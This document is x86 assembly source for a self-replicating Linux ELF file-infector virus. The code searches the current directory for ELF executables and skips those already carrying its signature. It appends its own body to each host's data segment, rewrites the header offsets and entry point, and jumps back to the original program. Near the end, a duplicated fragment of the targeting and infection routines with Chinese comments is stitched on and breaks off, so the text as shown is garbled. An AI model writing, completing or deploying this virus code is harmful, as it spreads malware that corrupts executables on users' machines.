section .text
global v_start
v_start:
; virus body start
; make space in the stack for some uninitialized variables to avoid a .bss section
mov ecx, 2328 ; set counter to 2328 (x4 = 9312 bytes). filename (esp), buffer (esp+32), targets (esp+1056), targetfile (esp+2080)
loop_bss:
push 0x00 ; reserve 4 bytes (double word) of 0's
sub ecx, 1 ; decrement our counter by 1
cmp ecx, 0
jbe loop_bss
mov edi, esp ; esp has our fake .bss offset. Let's store it in edi for now.
call folder
db ".", 0
folder:
pop ebx ; name of the folder
mov esi, 0 ; reset offset for targets
mov eax, 5 ; sys_open
mov ecx, 0
mov edx, 0
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe v_stop ; cannot open file. Exit virus
mov ebx, eax
mov eax, 0xdc ; sys_getdents64
mov ecx, edi ; fake .bss section
add ecx, 32 ; offset for buffer
mov edx, 1024
int 80h
mov eax, 6 ; close
int 80h
xor ebx, ebx ; zero out ebx as we will use it as the buffer offset
find_filename_start:
; look for the sequence 0008 which occurs before the start of a filename
inc ebx
cmp ebx, 1024
jge infect
cmp byte [edi+32+ebx], 0x00 ; edi+32 is buffer
jnz find_filename_start
inc ebx
cmp byte [edi+32+ebx], 0x08 ; edi+32 is buffer
jnz find_filename_start
xor ecx, ecx ; clear out ecx which will be our offset for file
mov byte [edi+ecx], 0x2e ; prepend file with ./ for full path (.) edi is filename
inc ecx
mov byte [edi+ecx], 0x2f ; prepend file with ./ for full path (/) edi is filename
inc ecx
find_filename_end:
; look for the 00 which denotes the end of a filename
inc ebx
cmp ebx, 1024
jge infect
push esi ; save our target offset
mov esi, edi ; fake .bss
add esi, 32 ; offset for buffer
add esi, ebx ; set source
push edi ; save our fake .bss
add edi, ecx ; set destination to filename
movsb ; moved byte from buffer to filename
pop edi ; restore our fake .bss
pop esi ; restore our target offset
inc ecx ; increment offset stored in ecx
cmp byte [edi+32+ebx], 0x00 ; denotes end of the filename
jnz find_filename_end
mov byte [edi+ecx], 0x00 ; we have a filename. Add a 0x00 to the end of the file buffer
push ebx ; save our offset in buffer
call scan_file
pop ebx ; restore our offset in buffer
jmp find_filename_start ; find next file
scan_file:
; check the file for infectability
mov eax, 5 ; sys_open
mov ebx, edi ; path (offset to filename)
mov ecx, 0 ; O_RDONLY
int 80h
cmp eax, 0 ; check if fd in eax > 0 (ok)
jbe return ; cannot open file. Return
mov ebx, eax ; fd
mov eax, 3 ; sys_read
mov ecx, edi ; address struct
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, 12 ; all we need are 4 bytes to check for the ELF header but 12 bytes to find signature
int 80h
call elfheader
dd 0x464c457f ; 0x7f454c46 -> .ELF (but reversed for endianness)
elfheader:
pop ecx
mov ecx, dword [ecx]
cmp dword [edi+2080], ecx ; this 4 byte header indicates ELF! (dword). edi+2080 is offset to targetfile in fake .bss
jnz close_file ; not an executable ELF binary. Return
; check if infected
mov ecx, 0x001edd0e ; 0x0edd1e00 signature reversed for endianness
cmp dword [edi+2080+8], ecx ; signature should show up after the 8th byte. edi+2080 is offset to targetfile in fake .bss
jz close_file ; signature exists. Already infected. Close file.
save_target:
; good target! save filename
push esi ; save our targets offset
push edi ; save our fake .bss
mov ecx, edi ; temporarily place filename offset in ecx
add edi, 1056 ; offset to targets in fake .bss
add edi, esi
mov esi, ecx ; filename -> edi -> ecx -> esi
mov ecx, 32
rep movsb ; save another target filename in targets
pop edi ; restore our fake .bss
pop esi ; restore our targets offset
add esi, 32
close_file:
mov eax, 6
int 80h
return:
ret
infect:
; let's infect these targets!
cmp esi, 0
jbe v_stop ; there are no targets :( exit
sub esi, 32
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
reading_loop:
mov eax, 3 ; sys_read
mov edx, 1 ; read 1 byte at a time (yeah, I know this can be optimized)
int 80h
cmp eax, 0 ; if this is 0, we've hit EOF
je reading_eof
mov eax, edi
add eax, 9312 ; 2080 + 7232
cmp ecx, eax ; if the file is over 7232 bytes, let's quit
jge infect
add ecx, 1
jmp reading_loop
reading_eof:
push ecx ; store address of last byte read. We'll need this later
mov eax, 6 ; close file
int 80h
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+44] ; ehdr->phnum (number of program header entries)
mov eax, dword [edi+2080+28] ; ehdr->phoff (program header offset)
sub ax, word [edi+2080+42] ; subtract 32 (size of program header entry) to initialize loop
program_header_loop:
; loop through program headers and find the data segment (PT_LOAD, offset>0)
;0 p_type type of segment
;+4 p_offset offset in file where to start the segment at
;+8 p_vaddr his virtual address in memory
;+c p_addr physical address (if relevant, else equ to p_vaddr)
;+10 p_filesz size of datas read from offset
;+14 p_memsz size of the segment in memory
;+18 p_flags segment flags (rwx perms)
;+1c p_align alignement
add ax, word [edi+2080+42]
cmp ecx, 0
jbe infect ; couldn't find data segment. let's close and look for next target
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax] ; phdr->type (type of segment)
cmp ebx, 0x01 ; 0: PT_NULL, 1: PT_LOAD, ...
jne program_header_loop ; it's not PT_LOAD. look for next program header
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
cmp ebx, 0x00 ; if it's 0, it's the text segment. Otherwise, we found the data segment
je program_header_loop ; it's the text segment. We're interested in the data segment
mov ebx, dword [edi+2080+24] ; old entry point
push ebx ; save the old entry point
mov ebx, dword [edi+2080+eax+4] ; phdr->offset (offset of program header)
mov edx, dword [edi+2080+eax+16] ; phdr->filesz (size of segment on disk)
add ebx, edx ; offset of where our virus should reside = phdr[data]->offset + p[data]->filesz
push ebx ; save the offset of our virus
mov ebx, dword [edi+2080+eax+8] ; phdr->vaddr (virtual address in memory)
add ebx, edx ; new entry point = phdr[data]->vaddr + p[data]->filesz
mov ecx, 0x001edd0e ; insert our signature at byte 8 (unused section of the ELF header)
mov [edi+2080+8], ecx
mov [edi+2080+24], ebx ; overwrite the old entry point with the virus (in buffer)
add edx, v_stop - v_start ; add size of our virus to phdr->filesz
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old phdr->filesz with the new one (in buffer)
mov ebx, dword [edi+2080+eax+20] ; phdr->memsz (size of segment in memory)
add ebx, v_stop - v_start ; add size of our virus to phdr->memsz
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+20], ebx ; overwrite the old phdr->memsz with the new one (in buffer)
xor ecx, ecx
xor eax, eax
mov cx, word [edi+2080+48] ; ehdr->shnum (number of section header entries)
mov eax, dword [edi+2080+32] ; ehdr->shoff (section header offset)
sub ax, word [edi+2080+46] ; subtract 40 (size of section header entry) to initialize loop
section_header_loop:
; loop through section headers and find the .bss section (NOBITS)
;0 sh_name contains a pointer to the name string section giving the
;+4 sh_type give the section type [name of this section
;+8 sh_flags some other flags ...
;+c sh_addr virtual addr of the section while running
;+10 sh_offset offset of the section in the file
;+14 sh_size zara white phone numba
;+18 sh_link his use depends on the section type
;+1c sh_info depends on the section type
;+20 sh_addralign alignement
;+24 sh_entsize used when section contains fixed size entrys
add ax, word [edi+2080+46]
cmp ecx, 0
jbe finish_infection ; couldn't find .bss section. Nothing to worry about. Finish the infection
sub ecx, 1 ; decrement our counter by 1
mov ebx, dword [edi+2080+eax+4] ; shdr->type (type of section)
cmp ebx, 0x00000008 ; 0x08 is NOBITS which is an indicator of a .bss section
jne section_header_loop ; it's not the .bss section
mov ebx, dword [edi+2080+eax+12] ; shdr->addr (virtual address in memory)
add ebx, v_stop - v_start ; add size of our virus to shdr->addr
add ebx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+12], ebx ; overwrite the old shdr->addr with the new one (in buffer)
section_header_loop_2:
mov edx, dword [edi+2080+eax+16] ; shdr->offset (offset of section)
add edx, v_stop - v_start ; add size of our virus to shdr->offset
add edx, 7 ; for the jmp to original entry point
mov [edi+2080+eax+16], edx ; overwrite the old shdr->offset with the new one (in buffer)
add eax, 40
sub ecx, 1
cmp ecx, 0
jg section_header_loop_2 ; this loop isn't necessary to make the virus function, but inspecting the host file with a readelf -a shows a clobbered symbol table and section/segment mapping
finish_infection:
;dword [edi+2080+24] ; ehdr->entry (virtual address of entry point)
;dword [edi+2080+28] ; ehdr->phoff (program header offset)
;dword [edi+2080+32] ; ehdr->shoff (section header offset)
;word [edi+2080+40] ; ehdr->ehsize (size of elf header)
;word [edi+2080+42] ; ehdr->phentsize (size of one program header entry)
;word [edi+2080+44] ; ehdr->phnum (number of program header entries)
;word [edi+2080+46] ; ehdr->shentsize (size of one section header entry)
;word [edi+2080+48] ; ehdr->shnum (number of program header entries)
mov eax, v_stop - v_start ; size of our virus minus the jump to original entry point
add eax, 7 ; for the jmp to original entry point
mov ebx, dword [edi+2080+32] ; the original section header offset
add eax, ebx ; add the original section header offset
mov [edi+2080+32], eax ; overwrite the old section header offset with the new one (in buffer)
mov eax, 5 ; sys_open
mov ebx, edi ; path
add ebx, 1056 ; offset to targets in fake .bss
add ebx, esi ; offset of next filename
mov ecx, 2 ; O_RDWR
int 80h
mov ebx, eax ; fd
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
pop edx ; host file up to the offset where the virus resides
int 80h
mov [edi+7], edx ; place the offset of the virus in this unused section of the filename buffer
call delta_offset
delta_offset:
pop ebp ; we need to calculate our delta offset because the absolute address of v_start will differ in different host files. This will be 0 in our original virus
sub ebp, delta_offset
mov eax, 4
lea ecx, [ebp + v_start] ; attach the virus portion (calculated with the delta offset)
mov edx, v_stop - v_start ; size of virus bytes
int 80h
pop edx ; original entry point of host (we'll store this double word in the same location we used for the 32 byte filename)
mov [edi], byte 0xb8 ; op code for MOV EAX (1 byte)
mov [edi+1], edx ; original entry point (4 bytes)
mov [edi+5], word 0xe0ff ; op code for JMP EAX (2 bytes)
mov eax, 4
mov ecx, edi ; offset to filename in fake .bss
mov edx, 7 ; 7 bytes for the final jmp to the original entry point
int 80h
mov eax, 4 ; sys_write
mov ecx, edi
add ecx, 2080 ; offset to targetfile in fake .bss
mov edx, dword [edi+7] ; offset of the virus
add ecx, edx ; let's continue where we left off
pop edx ; offset of last byte in targetfile in fake.bss
sub edx, ecx ; length of bytes to write
int 80h
mov eax, 36 ; sys_sync
int 80h
mov eax, 6 ; close file
int 80h
jmp infect
v_stop:
; virus body stop (host program start)
mov eax, 1 ; sys_exit
mov ebx, 0 ; normal status
int 80h
save_target:
push esi ; 保存目标偏移
push edi ; 保存伪 .bss
mov ecx, edi ; 临时将文件名偏移放入 ecx
add edi, 1056 ; 偏移到伪 .bss 中存储目标的地方
add edi, esi
mov esi, ecx ; 处理文件名的偏移
mov ecx, 32
rep movsb ; 保存目标文件名
pop edi ; 恢复伪 .bss
pop esi ; 恢复目标偏移
add esi, 32
close_file:
mov eax, 6
int 80h
return:
ret
infect:
cmp esi, 0
jbe v_stop ; 如果没有目标,跳转到 v_stop
sub esi, 32
mov eax, 5 ; sys_open
mov ebx, edi ; 路径(文件名)
add ebx, 1056 ; 偏移到伪 .bss 中的目标
add ebx, esi ; 下一目标文件名的偏移
mov ecx, 2 ; O_RDWR(读写模式)
int 80h